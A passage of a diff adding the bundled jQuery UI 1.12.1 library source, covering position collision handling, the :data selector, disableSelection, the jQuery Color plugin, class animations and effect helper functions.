data.my[ 1 ] === "bottom" ? + data.elemHeight : + 0, + atOffset = data.at[ 1 ] === "top" ? + data.targetHeight : + data.at[ 1 ] === "bottom" ? + -data.targetHeight : + 0, + offset = -2 * data.offset[ 1 ], + newOverTop, + newOverBottom; + if ( overTop < 0 ) { + newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - + outerHeight - withinOffset; + if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) { + position.top += myOffset + atOffset + offset; + } + } else if ( overBottom > 0 ) { + newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + + offset - offsetTop; + if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) { + position.top += myOffset + atOffset + offset; + } + } + } + }, + flipfit: { + left: function() { + $.ui.position.flip.left.apply( this, arguments ); + $.ui.position.fit.left.apply( this, arguments ); + }, + top: function() { + $.ui.position.flip.top.apply( this, arguments ); + $.ui.position.fit.top.apply( this, arguments ); + } + } +}; + +} )(); + +var position = $.ui.position; + + +/*! + * jQuery UI :data 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: :data Selector +//>>group: Core +//>>description: Selects elements which have data stored under the specified key. +//>>docs: http://api.jqueryui.com/data-selector/ + + +var data = $.extend( $.expr[ ":" ], { + data: $.expr.createPseudo ? + $.expr.createPseudo( function( dataName ) { + return function( elem ) { + return !!$.data( elem, dataName ); + }; + } ) : + + // Support: jQuery <1.8 + function( elem, i, match ) { + return !!$.data( elem, match[ 3 ] ); + } +} ); + +/*! + * jQuery UI Disable Selection 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: disableSelection +//>>group: Core +//>>description: Disable selection of text content within the set of matched elements. +//>>docs: http://api.jqueryui.com/disableSelection/ + +// This file is deprecated + + +var disableSelection = $.fn.extend( { + disableSelection: ( function() { + var eventType = "onselectstart" in document.createElement( "div" ) ? + "selectstart" : + "mousedown"; + + return function() { + return this.on( eventType + ".ui-disableSelection", function( event ) { + event.preventDefault(); + } ); + }; + } )(), + + enableSelection: function() { + return this.off( ".ui-disableSelection" ); + } +} ); + + +/*! + * jQuery UI Effects 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Effects Core +//>>group: Effects +// jscs:disable maximumLineLength +//>>description: Extends the internal jQuery effects. Includes morphing and easing. Required by all other effects. +// jscs:enable maximumLineLength +//>>docs: http://api.jqueryui.com/category/effects-core/ +//>>demos: http://jqueryui.com/effect/ + + + +var dataSpace = "ui-effects-", + dataSpaceStyle = "ui-effects-style", + dataSpaceAnimated = "ui-effects-animated", + + // Create a local jQuery because jQuery Color relies on it and the + // global may not exist with AMD and a custom build (#10199) + jQuery = $; + +$.effects = { + effect: {} +}; + +/*! + * jQuery Color Animations v2.1.2 + * https://github.com/jquery/jquery-color + * + * Copyright 2014 jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + * + * Date: Wed Jan 16 08:47:09 2013 -0600 + */ +( function( jQuery, undefined ) { + + var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor " + + "borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor", + + // Plusequals test for += 100 -= 100 + rplusequals = /^([\-+])=\s*(\d+\.?\d*)/, + + // A set of RE's that can match strings and generate color tuples. + stringParsers = [ { + re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + parse: function( execResult ) { + return [ + execResult[ 1 ], + execResult[ 2 ], + execResult[ 3 ], + execResult[ 4 ] + ]; + } + }, { + re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + parse: function( execResult ) { + return [ + execResult[ 1 ] * 2.55, + execResult[ 2 ] * 2.55, + execResult[ 3 ] * 2.55, + execResult[ 4 ] + ]; + } + }, { + + // This regex ignores A-F because it's compared against an already lowercased string + re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/, + parse: function( execResult ) { + return [ + parseInt( execResult[ 1 ], 16 ), + parseInt( execResult[ 2 ], 16 ), + parseInt( execResult[ 3 ], 16 ) + ]; + } + }, { + + // This regex ignores A-F because it's compared against an already lowercased string + re: /#([a-f0-9])([a-f0-9])([a-f0-9])/, + parse: function( execResult ) { + return [ + parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ), + parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ), + parseInt( execResult[ 3 ] + execResult[ 3 ], 16 ) + ]; + } + }, { + re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/, + space: "hsla", + parse: function( execResult ) { + return [ + execResult[ 1 ], + execResult[ 2 ] / 100, + execResult[ 3 ] / 100, + execResult[ 4 ] + ]; + } + } ], + + // JQuery.Color( ) + color = jQuery.Color = function( color, green, blue, alpha ) { + return new jQuery.Color.fn.parse( color, green, blue, alpha ); + }, + spaces = { + rgba: { + props: { + red: { + idx: 0, + type: "byte" + }, + green: { + idx: 1, + type: "byte" + }, + blue: { + idx: 2, + type: "byte" + } + } + }, + + hsla: { + props: { + hue: { + idx: 0, + type: "degrees" + }, + saturation: { + idx: 1, + type: "percent" + }, + lightness: { + idx: 2, + type: "percent" + } + } + } + }, + propTypes = { + "byte": { + floor: true, + max: 255 + }, + "percent": { + max: 1 + }, + "degrees": { + mod: 360, + floor: true + } + }, + support = color.support = {}, + + // Element for support tests + supportElem = jQuery( "<p>" )[ 0 ], + + // Colors = jQuery.Color.names + colors, + + // Local aliases of functions called often + each = jQuery.each; + +// Determine rgba support immediately +supportElem.style.cssText = "background-color:rgba(1,1,1,.5)"; +support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1; + +// Define cache name and alpha properties +// for rgba and hsla spaces +each( spaces, function( spaceName, space ) { + space.cache = "_" + spaceName; + space.props.alpha = { + idx: 3, + type: "percent", + def: 1 + }; +} ); + +function clamp( value, prop, allowEmpty ) { + var type = propTypes[ prop.type ] || {}; + + if ( value == null ) { + return ( allowEmpty || !prop.def ) ? null : prop.def; + } + + // ~~ is an short way of doing floor for positive numbers + value = type.floor ? ~~value : parseFloat( value ); + + // IE will pass in empty strings as value for alpha, + // which will hit this case + if ( isNaN( value ) ) { + return prop.def; + } + + if ( type.mod ) { + + // We add mod before modding to make sure that negatives values + // get converted properly: -10 -> 350 + return ( value + type.mod ) % type.mod; + } + + // For now all property types without mod have min and max + return 0 > value ? 0 : type.max < value ? type.max : value; +} + +function stringParse( string ) { + var inst = color(), + rgba = inst._rgba = []; + + string = string.toLowerCase(); + + each( stringParsers, function( i, parser ) { + var parsed, + match = parser.re.exec( string ), + values = match && parser.parse( match ), + spaceName = parser.space || "rgba"; + + if ( values ) { + parsed = inst[ spaceName ]( values ); + + // If this was an rgba parse the assignment might happen twice + // oh well.... + inst[ spaces[ spaceName ].cache ] = parsed[ spaces[ spaceName ].cache ]; + rgba = inst._rgba = parsed._rgba; + + // Exit each( stringParsers ) here because we matched + return false; + } + } ); + + // Found a stringParser that handled it + if ( rgba.length ) { + + // If this came from a parsed string, force "transparent" when alpha is 0 + // chrome, (and maybe others) return "transparent" as rgba(0,0,0,0) + if ( rgba.join() === "0,0,0,0" ) { + jQuery.extend( rgba, colors.transparent ); + } + return inst; + } + + // Named colors + return colors[ string ]; +} + +color.fn = jQuery.extend( color.prototype, { + parse: function( red, green, blue, alpha ) { + if ( red === undefined ) { + this._rgba = [ null, null, null, null ]; + return this; + } + if ( red.jquery || red.nodeType ) { + red = jQuery( red ).css( green ); + green = undefined; + } + + var inst = this, + type = jQuery.type( red ), + rgba = this._rgba = []; + + // More than 1 argument specified - assume ( red, green, blue, alpha ) + if ( green !== undefined ) { + red = [ red, green, blue, alpha ]; + type = "array"; + } + + if ( type === "string" ) { + return this.parse( stringParse( red ) || colors._default ); + } + + if ( type === "array" ) { + each( spaces.rgba.props, function( key, prop ) { + rgba[ prop.idx ] = clamp( red[ prop.idx ], prop ); + } ); + return this; + } + + if ( type === "object" ) { + if ( red instanceof color ) { + each( spaces, function( spaceName, space ) { + if ( red[ space.cache ] ) { + inst[ space.cache ] = red[ space.cache ].slice(); + } + } ); + } else { + each( spaces, function( spaceName, space ) { + var cache = space.cache; + each( space.props, function( key, prop ) { + + // If the cache doesn't exist, and we know how to convert + if ( !inst[ cache ] && space.to ) { + + // If the value was null, we don't need to copy it + // if the key was alpha, we don't need to copy it either + if ( key === "alpha" || red[ key ] == null ) { + return; + } + inst[ cache ] = space.to( inst._rgba ); + } + + // This is the only case where we allow nulls for ALL properties. + // call clamp with alwaysAllowEmpty + inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true ); + } ); + + // Everything defined but alpha? + if ( inst[ cache ] && + jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) { + + // Use the default of 1 + inst[ cache ][ 3 ] = 1; + if ( space.from ) { + inst._rgba = space.from( inst[ cache ] ); + } + } + } ); + } + return this; + } + }, + is: function( compare ) { + var is = color( compare ), + same = true, + inst = this; + + each( spaces, function( _, space ) { + var localCache, + isCache = is[ space.cache ]; + if ( isCache ) { + localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || []; + each( space.props, function( _, prop ) { + if ( isCache[ prop.idx ] != null ) { + same = ( isCache[ prop.idx ] === localCache[ prop.idx ] ); + return same; + } + } ); + } + return same; + } ); + return same; + }, + _space: function() { + var used = [], + inst = this; + each( spaces, function( spaceName, space ) { + if ( inst[ space.cache ] ) { + used.push( spaceName ); + } + } ); + return used.pop(); + }, + transition: function( other, distance ) { + var end = color( other ), + spaceName = end._space(), + space = spaces[ spaceName ], + startColor = this.alpha() === 0 ? color( "transparent" ) : this, + start = startColor[ space.cache ] || space.to( startColor._rgba ), + result = start.slice(); + + end = end[ space.cache ]; + each( space.props, function( key, prop ) { + var index = prop.idx, + startValue = start[ index ], + endValue = end[ index ], + type = propTypes[ prop.type ] || {}; + + // If null, don't override start value + if ( endValue === null ) { + return; + } + + // If null - use end + if ( startValue === null ) { + result[ index ] = endValue; + } else { + if ( type.mod ) { + if ( endValue - startValue > type.mod / 2 ) { + startValue += type.mod; + } else if ( startValue - endValue > type.mod / 2 ) { + startValue -= type.mod; + } + } + result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop ); + } + } ); + return this[ spaceName ]( result ); + }, + blend: function( opaque ) { + + // If we are already opaque - return ourself + if ( this._rgba[ 3 ] === 1 ) { + return this; + } + + var rgb = this._rgba.slice(), + a = rgb.pop(), + blend = color( opaque )._rgba; + + return color( jQuery.map( rgb, function( v, i ) { + return ( 1 - a ) * blend[ i ] + a * v; + } ) ); + }, + toRgbaString: function() { + var prefix = "rgba(", + rgba = jQuery.map( this._rgba, function( v, i ) { + return v == null ? ( i > 2 ? 1 : 0 ) : v; + } ); + + if ( rgba[ 3 ] === 1 ) { + rgba.pop(); + prefix = "rgb("; + } + + return prefix + rgba.join() + ")"; + }, + toHslaString: function() { + var prefix = "hsla(", + hsla = jQuery.map( this.hsla(), function( v, i ) { + if ( v == null ) { + v = i > 2 ? 1 : 0; + } + + // Catch 1 and 2 + if ( i && i < 3 ) { + v = Math.round( v * 100 ) + "%"; + } + return v; + } ); + + if ( hsla[ 3 ] === 1 ) { + hsla.pop(); + prefix = "hsl("; + } + return prefix + hsla.join() + ")"; + }, + toHexString: function( includeAlpha ) { + var rgba = this._rgba.slice(), + alpha = rgba.pop(); + + if ( includeAlpha ) { + rgba.push( ~~( alpha * 255 ) ); + } + + return "#" + jQuery.map( rgba, function( v ) { + + // Default to 0 when nulls exist + v = ( v || 0 ).toString( 16 ); + return v.length === 1 ? "0" + v : v; + } ).join( "" ); + }, + toString: function() { + return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString(); + } +} ); +color.fn.parse.prototype = color.fn; + +// Hsla conversions adapted from: +// https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021 + +function hue2rgb( p, q, h ) { + h = ( h + 1 ) % 1; + if ( h * 6 < 1 ) { + return p + ( q - p ) * h * 6; + } + if ( h * 2 < 1 ) { + return q; + } + if ( h * 3 < 2 ) { + return p + ( q - p ) * ( ( 2 / 3 ) - h ) * 6; + } + return p; +} + +spaces.hsla.to = function( rgba ) { + if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) { + return [ null, null, null, rgba[ 3 ] ]; + } + var r = rgba[ 0 ] / 255, + g = rgba[ 1 ] / 255, + b = rgba[ 2 ] / 255, + a = rgba[ 3 ], + max = Math.max( r, g, b ), + min = Math.min( r, g, b ), + diff = max - min, + add = max + min, + l = add * 0.5, + h, s; + + if ( min === max ) { + h = 0; + } else if ( r === max ) { + h = ( 60 * ( g - b ) / diff ) + 360; + } else if ( g === max ) { + h = ( 60 * ( b - r ) / diff ) + 120; + } else { + h = ( 60 * ( r - g ) / diff ) + 240; + } + + // Chroma (diff) == 0 means greyscale which, by definition, saturation = 0% + // otherwise, saturation is based on the ratio of chroma (diff) to lightness (add) + if ( diff === 0 ) { + s = 0; + } else if ( l <= 0.5 ) { + s = diff / add; + } else { + s = diff / ( 2 - add ); + } + return [ Math.round( h ) % 360, s, l, a == null ? 1 : a ]; +}; + +spaces.hsla.from = function( hsla ) { + if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) { + return [ null, null, null, hsla[ 3 ] ]; + } + var h = hsla[ 0 ] / 360, + s = hsla[ 1 ], + l = hsla[ 2 ], + a = hsla[ 3 ], + q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s, + p = 2 * l - q; + + return [ + Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ), + Math.round( hue2rgb( p, q, h ) * 255 ), + Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ), + a + ]; +}; + +each( spaces, function( spaceName, space ) { + var props = space.props, + cache = space.cache, + to = space.to, + from = space.from; + + // Makes rgba() and hsla() + color.fn[ spaceName ] = function( value ) { + + // Generate a cache for this space if it doesn't exist + if ( to && !this[ cache ] ) { + this[ cache ] = to( this._rgba ); + } + if ( value === undefined ) { + return this[ cache ].slice(); + } + + var ret, + type = jQuery.type( value ), + arr = ( type === "array" || type === "object" ) ? value : arguments, + local = this[ cache ].slice(); + + each( props, function( key, prop ) { + var val = arr[ type === "object" ? key : prop.idx ]; + if ( val == null ) { + val = local[ prop.idx ]; + } + local[ prop.idx ] = clamp( val, prop ); + } ); + + if ( from ) { + ret = color( from( local ) ); + ret[ cache ] = local; + return ret; + } else { + return color( local ); + } + }; + + // Makes red() green() blue() alpha() hue() saturation() lightness() + each( props, function( key, prop ) { + + // Alpha is included in more than one space + if ( color.fn[ key ] ) { + return; + } + color.fn[ key ] = function( value ) { + var vtype = jQuery.type( value ), + fn = ( key === "alpha" ? ( this._hsla ? "hsla" : "rgba" ) : spaceName ), + local = this[ fn ](), + cur = local[ prop.idx ], + match; + + if ( vtype === "undefined" ) { + return cur; + } + + if ( vtype === "function" ) { + value = value.call( this, cur ); + vtype = jQuery.type( value ); + } + if ( value == null && prop.empty ) { + return this; + } + if ( vtype === "string" ) { + match = rplusequals.exec( value ); + if ( match ) { + value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 ); + } + } + local[ prop.idx ] = value; + return this[ fn ]( local ); + }; + } ); +} ); + +// Add cssHook and .fx.step function for each named hook. +// accept a space separated string of properties +color.hook = function( hook ) { + var hooks = hook.split( " " ); + each( hooks, function( i, hook ) { + jQuery.cssHooks[ hook ] = { + set: function( elem, value ) { + var parsed, curElem, + backgroundColor = ""; + + if ( value !== "transparent" && ( jQuery.type( value ) !== "string" || + ( parsed = stringParse( value ) ) ) ) { + value = color( parsed || value ); + if ( !support.rgba && value._rgba[ 3 ] !== 1 ) { + curElem = hook === "backgroundColor" ? elem.parentNode : elem; + while ( + ( backgroundColor === "" || backgroundColor === "transparent" ) && + curElem && curElem.style + ) { + try { + backgroundColor = jQuery.css( curElem, "backgroundColor" ); + curElem = curElem.parentNode; + } catch ( e ) { + } + } + + value = value.blend( backgroundColor && backgroundColor !== "transparent" ? + backgroundColor : + "_default" ); + } + + value = value.toRgbaString(); + } + try { + elem.style[ hook ] = value; + } catch ( e ) { + + // Wrapped to prevent IE from throwing errors on "invalid" values like + // 'auto' or 'inherit' + } + } + }; + jQuery.fx.step[ hook ] = function( fx ) { + if ( !fx.colorInit ) { + fx.start = color( fx.elem, hook ); + fx.end = color( fx.end ); + fx.colorInit = true; + } + jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) ); + }; + } ); + +}; + +color.hook( stepHooks ); + +jQuery.cssHooks.borderColor = { + expand: function( value ) { + var expanded = {}; + + each( [ "Top", "Right", "Bottom", "Left" ], function( i, part ) { + expanded[ "border" + part + "Color" ] = value; + } ); + return expanded; + } +}; + +// Basic color names only. +// Usage of any of the other color names requires adding yourself or including +// jquery.color.svg-names.js. +colors = jQuery.Color.names = { + + // 4.1. Basic color keywords + aqua: "#00ffff", + black: "#000000", + blue: "#0000ff", + fuchsia: "#ff00ff", + gray: "#808080", + green: "#008000", + lime: "#00ff00", + maroon: "#800000", + navy: "#000080", + olive: "#808000", + purple: "#800080", + red: "#ff0000", + silver: "#c0c0c0", + teal: "#008080", + white: "#ffffff", + yellow: "#ffff00", + + // 4.2.3. "transparent" color keyword + transparent: [ null, null, null, 0 ], + + _default: "#ffffff" +}; + +} )( jQuery ); + +/******************************************************************************/ +/****************************** CLASS ANIMATIONS ******************************/ +/******************************************************************************/ +( function() { + +var classAnimationActions = [ "add", "remove", "toggle" ], + shorthandStyles = { + border: 1, + borderBottom: 1, + borderColor: 1, + borderLeft: 1, + borderRight: 1, + borderTop: 1, + borderWidth: 1, + margin: 1, + padding: 1 + }; + +$.each( + [ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], + function( _, prop ) { + $.fx.step[ prop ] = function( fx ) { + if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) { + jQuery.style( fx.elem, prop, fx.end ); + fx.setAttr = true; + } + }; + } +); + +function getElementStyles( elem ) { + var key, len, + style = elem.ownerDocument.defaultView ? + elem.ownerDocument.defaultView.getComputedStyle( elem, null ) : + elem.currentStyle, + styles = {}; + + if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) { + len = style.length; + while ( len-- ) { + key = style[ len ]; + if ( typeof style[ key ] === "string" ) { + styles[ $.camelCase( key ) ] = style[ key ]; + } + } + + // Support: Opera, IE <9 + } else { + for ( key in style ) { + if ( typeof style[ key ] === "string" ) { + styles[ key ] = style[ key ]; + } + } + } + + return styles; +} + +function styleDifference( oldStyle, newStyle ) { + var diff = {}, + name, value; + + for ( name in newStyle ) { + value = newStyle[ name ]; + if ( oldStyle[ name ] !== value ) { + if ( !shorthandStyles[ name ] ) { + if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) { + diff[ name ] = value; + } + } + } + } + + return diff; +} + +// Support: jQuery <1.8 +if ( !$.fn.addBack ) { + $.fn.addBack = function( selector ) { + return this.add( selector == null ? + this.prevObject : this.prevObject.filter( selector ) + ); + }; +} + +$.effects.animateClass = function( value, duration, easing, callback ) { + var o = $.speed( duration, easing, callback ); + + return this.queue( function() { + var animated = $( this ), + baseClass = animated.attr( "class" ) || "", + applyClassChange, + allAnimations = o.children ? animated.find( "*" ).addBack() : animated; + + // Map the animated objects to store the original styles. + allAnimations = allAnimations.map( function() { + var el = $( this ); + return { + el: el, + start: getElementStyles( this ) + }; + } ); + + // Apply class change + applyClassChange = function() { + $.each( classAnimationActions, function( i, action ) { + if ( value[ action ] ) { + animated[ action + "Class" ]( value[ action ] ); + } + } ); + }; + applyClassChange(); + + // Map all animated objects again - calculate new styles and diff + allAnimations = allAnimations.map( function() { + this.end = getElementStyles( this.el[ 0 ] ); + this.diff = styleDifference( this.start, this.end ); + return this; + } ); + + // Apply original class + animated.attr( "class", baseClass ); + + // Map all animated objects again - this time collecting a promise + allAnimations = allAnimations.map( function() { + var styleInfo = this, + dfd = $.Deferred(), + opts = $.extend( {}, o, { + queue: false, + complete: function() { + dfd.resolve( styleInfo ); + } + } ); + + this.el.animate( this.diff, opts ); + return dfd.promise(); + } ); + + // Once all animations have completed: + $.when.apply( $, allAnimations.get() ).done( function() { + + // Set the final class + applyClassChange(); + + // For each animated element, + // clear all css properties that were animated + $.each( arguments, function() { + var el = this.el; + $.each( this.diff, function( key ) { + el.css( key, "" ); + } ); + } ); + + // This is guarnteed to be there if you use jQuery.speed() + // it also handles dequeuing the next anim... + o.complete.call( animated[ 0 ] ); + } ); + } ); +}; + +$.fn.extend( { + addClass: ( function( orig ) { + return function( classNames, speed, easing, callback ) { + return speed ? + $.effects.animateClass.call( this, + { add: classNames }, speed, easing, callback ) : + orig.apply( this, arguments ); + }; + } )( $.fn.addClass ), + + removeClass: ( function( orig ) { + return function( classNames, speed, easing, callback ) { + return arguments.length > 1 ? + $.effects.animateClass.call( this, + { remove: classNames }, speed, easing, callback ) : + orig.apply( this, arguments ); + }; + } )( $.fn.removeClass ), + + toggleClass: ( function( orig ) { + return function( classNames, force, speed, easing, callback ) { + if ( typeof force === "boolean" || force === undefined ) { + if ( !speed ) { + + // Without speed parameter + return orig.apply( this, arguments ); + } else { + return $.effects.animateClass.call( this, + ( force ? { add: classNames } : { remove: classNames } ), + speed, easing, callback ); + } + } else { + + // Without force parameter + return $.effects.animateClass.call( this, + { toggle: classNames }, force, speed, easing ); + } + }; + } )( $.fn.toggleClass ), + + switchClass: function( remove, add, speed, easing, callback ) { + return $.effects.animateClass.call( this, { + add: add, + remove: remove + }, speed, easing, callback ); + } +} ); + +} )(); + +/******************************************************************************/ +/*********************************** EFFECTS **********************************/ +/******************************************************************************/ + +( function() { + +if ( $.expr && $.expr.filters && $.expr.filters.animated ) { + $.expr.filters.animated = ( function( orig ) { + return function( elem ) { + return !!$( elem ).data( dataSpaceAnimated ) || orig( elem ); + }; + } )( $.expr.filters.animated ); +} + +if ( $.uiBackCompat !== false ) { + $.extend( $.effects, { + + // Saves a set of properties in a data storage + save: function( element, set ) { + var i = 0, length = set.length; + for ( ; i < length; i++ ) { + if ( set[ i ] !== null ) { + element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] ); + } + } + }, + + // Restores a set of previously saved properties from a data storage + restore: function( element, set ) { + var val, i = 0, length = set.length; + for ( ; i < length; i++ ) { + if ( set[ i ] !== null ) { + val = element.data( dataSpace + set[ i ] ); + element.css( set[ i ], val ); + } + } + }, + + setMode: function( el, mode ) { + if ( mode === "toggle" ) { + mode = el.is( ":hidden" ) ? "show" : "hide"; + } + return mode; + }, + + // Wraps the element around a wrapper that copies position properties + createWrapper: function( element ) { + + // If the element is already wrapped, return it + if ( element.parent().is( ".ui-effects-wrapper" ) ) { + return element.parent(); + } + + // Wrap the element + var props = { + width: element.outerWidth( true ), + height: element.outerHeight( true ), + "float": element.css( "float" ) + }, + wrapper = $( "<div></div>" ) + .addClass( "ui-effects-wrapper" ) + .css( { + fontSize: "100%", + background: "transparent", + border: "none", + margin: 0, + padding: 0 + } ), + + // Store the size in case width/height are defined in % - Fixes #5245 + size = { + width: element.width(), + height: element.height() + }, + active = document.activeElement; + + // Support: Firefox + // Firefox incorrectly exposes anonymous content + // https://bugzilla.mozilla.org/show_bug.cgi?id=561664 + try { + active.id; + } catch ( e ) { + active = document.body; + } + + element.wrap( wrapper ); + + // Fixes #7595 - Elements lose focus when wrapped. + if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { + $( active ).trigger( "focus" ); + } + + // Hotfix for jQuery 1.4 since some change in wrap() seems to actually + // lose the reference to the wrapped element + wrapper = element.parent(); + + // Transfer positioning properties to the wrapper + if ( element.css( "position" ) === "static" ) { + wrapper.css( { position: "relative" } ); + element.css( { position: "relative" } ); + } else { + $.extend( props, { + position: element.css( "position" ), + zIndex: element.css( "z-index" ) + } ); + $.each( [ "top", "left", "bottom", "right" ], function( i, pos ) { + props[ pos ] = element.css( pos ); + if ( isNaN( parseInt( props[ pos ], 10 ) ) ) { + props[ pos ] = "auto"; + } + } ); + element.css( { + position: "relative", + top: 0, + left: 0, + right: "auto", + bottom: "auto" + } ); + } + element.css( size ); + + return wrapper.css( props ).show(); + }, + + removeWrapper: function( element ) { + var active = document.activeElement; + + if ( element.parent().is( ".ui-effects-wrapper" ) ) { + element.parent().replaceWith( element ); + + // Fixes #7595 - Elements lose focus when wrapped. + if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { + $( active ).trigger( "focus" ); + } + } + + return element; + } + } ); +} + +$.extend( $.effects, { + version: "1.12.1", + + define: function( name, mode, effect ) { + if ( !effect ) { + effect = mode; + mode = "effect"; + } + + $.effects.effect[ name ] = effect; + $.effects.effect[ name ].mode = mode; + + return effect; + }, + + scaledDimensions: function( element, percent, direction ) { + if ( percent === 0 ) { + return { + height: 0, + width: 0, + outerHeight: 0, + outerWidth: 0 + }; + } + + var x = direction !== "horizontal" ? ( ( percent || 100 ) / 100 ) : 1, + y = direction !== "vertical" ? ( ( percent || 100 ) / 100 ) : 1; + + return { + height: element.height() * y, + width: element.width() * x, + outerHeight: element.outerHeight() * y, + outerWidth: element.outerWidth() * x + }; + + }, + + clipToBox: function( animation ) { + return { + width: animation.clip.right - animation.clip.left, + height: animation.clip.bottom - animation.clip.top, + left: animation.clip.left, + top: animation.clip.top + }; + }, + + // Injects recently queued functions to be first in line (after "inprogress") + unshift: function( element, queueLength, count ) { + var queue = element.queue(); + + if ( queueLength > 1 ) { + queue.splice.apply( queue, + [ 1, 0 ].concat( queue.splice( queueLength, count ) ) ); + } + element.dequeue(); + }, + + saveStyle: function( element ) { + element.data( dataSpaceStyle, element[ 0 ].style.cssText ); + }, + + restoreStyle: function( element ) { + element[ 0 ].style.cssText = element.data( dataSpaceStyle ) || ""; + element.removeData( dataSpaceStyle ); + }, + + mode: function( element, mode ) { + var hidden = element.is( ":hidden" ); + + if ( mode === "toggle" ) { + mode = hidden ? "show" : "hide"; + } + if ( hidden ? mode === "hide" : mode === "show" ) { + mode = "none"; + } + return mode; + }, + + // Translates a [top,left] array into a baseline value + getBaseline: function( origin, original ) { + var y, x; + + switch ( origin[ 0 ] ) { + case "top": + y = 0; + break; + case "middle": + y = 0.5; + break; + case "bottom": + y = 1; + break; + default: + y = origin[ 0 ] / original.height; + } + + switch ( origin[ 1 ] ) { + case "left": + x = 0; + break; + case "center": + x = 0.5; + break; + case "right": + x = 1; + break; + default: + x = origin[ 1 ] / original.width; + } + + return { + x: x, + y: y + }; + }, + + // Creates a placeholder element so that the original element can be made absolute + createPlaceholder: function( element ) { + var placeholder, + cssPosition = element.css( "position" ), + position = element.position(); + + // Lock in margins first to account for form elements, which + // will change margin if you explicitly set height + // see: http://jsfiddle.net/JZSMt/3/ https://bugs.webkit.org/show_bug.cgi?id=107380 + // Support: Safari + element.css( { + marginTop: element.css( "marginTop" ), + marginBottom: element.css( "marginBottom" ), + marginLeft: element.css( "marginLeft" ), + marginRight: element.css( "marginRight" ) + } ) + .outerWidth( element.outerWidth() ) + .outerHeight( element.outerHeight() ); + + if ( /^(static|relative)/.test( cssPosition ) ) { + cssPosition = "absolute"; + + placeholder = $( "<" + element[ 0 ].nodeName + ">" ).insertAfter( element ).css( { + + // Convert inline to inline block to account for inline elements + // that turn to inline block based on content (like img) + display: /^(inline|ruby)/.test( element.css( "display" ) ) ? + "inline-block" : + "block", + visibility: "hidden", + + // Margins need to be set to account for margin collapse + marginTop: element.css( "marginTop" ), + marginBottom: element.css( "marginBottom" ), + marginLeft: element.css( "marginLeft" ), + marginRight: element.css( "marginRight" ), + "float": element.css( "float" ) + } ) + .outerWidth( element.outerWidth() ) + .outerHeight( element.outerHeight() ) + .addClass( "ui-effects-placeholder" ); + + element.data( dataSpace + "placeholder", placeholder ); + } + + element.css( { + position: cssPosition, + left: position.left, + top: position.top + } ); + + return placeholder; + }, + + removePlaceholder: function( element ) { + var dataKey = dataSpace + "placeholder", + placeholder = element.data( dataKey ); + + if ( placeholder ) { + placeholder.remove(); + element.removeData( dataKey ); + } + }, + + // Removes a placeholder if it exists and restores + // properties that were modified during placeholder creation + cleanUp: function( element ) { + $.effects.restoreStyle( element ); + $.effects.removePlaceholder( element ); + }, + + setTransition: function( element, list, factor, value ) { + value = value || {}; + $.each( list, function( i, x ) { + var unit = element.cssUnit( x ); + if ( unit[ 0 ] > 0 ) { + value[ x ] = unit[ 0 ] * factor + unit[ 1 ]; + } + } ); + return value; + } +} ); + +// Return an effect options object for the given parameters: +function _normalizeArguments( effect, options, speed, callback ) { + + // Allow passing all options as the first parameter + if ( $.isPlainObject( effect ) ) { + options = effect; + effect = effect.effect; + } + + // Convert to an object + effect = { effect: effect }; + + // Catch (effect, null, ...) + if ( options == null ) { + options = {}; + } + + // Catch (effect, callback) + if ( $.isFunction( options ) ) { + callback = options; + speed = null; + options = {}; + } + + // Catch (effect, speed, ?) + if ( typeof options === "number" || $.fx.speeds[ options ] ) { + callback = speed; + speed = options; + options = {}; + } + + // Catch (effect, options, callback) + if ( $.isFunction( speed ) ) { + callback = speed; + speed = 